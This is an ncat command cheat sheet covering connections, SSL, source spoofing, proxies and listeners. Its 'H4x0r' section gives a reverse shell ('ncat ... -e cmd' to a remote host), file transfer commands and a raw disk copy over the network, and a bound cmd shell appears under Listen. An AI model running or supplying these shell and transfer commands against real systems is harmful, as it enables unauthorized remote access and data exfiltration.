

Connect

```
ncat <ip> <port> <options>
```

Basic `ncat asocolseg.co 80`

Windows NewLine `<cr><lf>` `ncat -C asocolseg.co 80`

SSL `ncat asocolseg.co 80 --ssl`

IP/Port Spoofing `ncat asocolseg.co 80 -p 10 -s 192.168.1.1`

HTTP Over ncat `ncat asocolseg 443 --ssl`

```
GET / HTTP/1.1
```

```
Host: asocolseg.co
```

Telnet Over ncat `ncat -t asocolseg.co 23`

H4x0r

Name	Client	Server
Download Files	<code>ncat asocolseg.co 1337 --ssl > out2.exe</code>	<code>ncat -l --ssl 1337 --send-only < ncat.exe</code>
Upload Files	<code>ncat asocolseg.co 1337 --ssl --send-only < ncat.exe</code>	<code>ncat -l --ssl 1337 > ncat.exe</code>
Reverse shell	<code>ncat -l 1337</code>	<code>ncat asocolseg.co 1337 -e cmd</code>
Forensic Copy	<code>dd if=/dev/sda nc server2 1337</code>	<code>nc -l 1337 dd of=/dev/sdb</code>

Listen

```
ncat -l <port>
```

Basic listen `ncat -l 127.0.0.1 80`

Keep connection Open (SSL) `ncat -l --keep-open --ssl 80`

UDP Listen `ncat -l 80 --udp`

Broker (multi-chat?) `ncat -l 80 --broker`

proxy `ncat -l 8080 --proxy-type http --proxy-auth usr:pass --ssl`

Auto Responder `ncat -l 80 < text.html`

Shell With Access Control `ncat -l 1337 -e cmd --allow 192.168.1.1`



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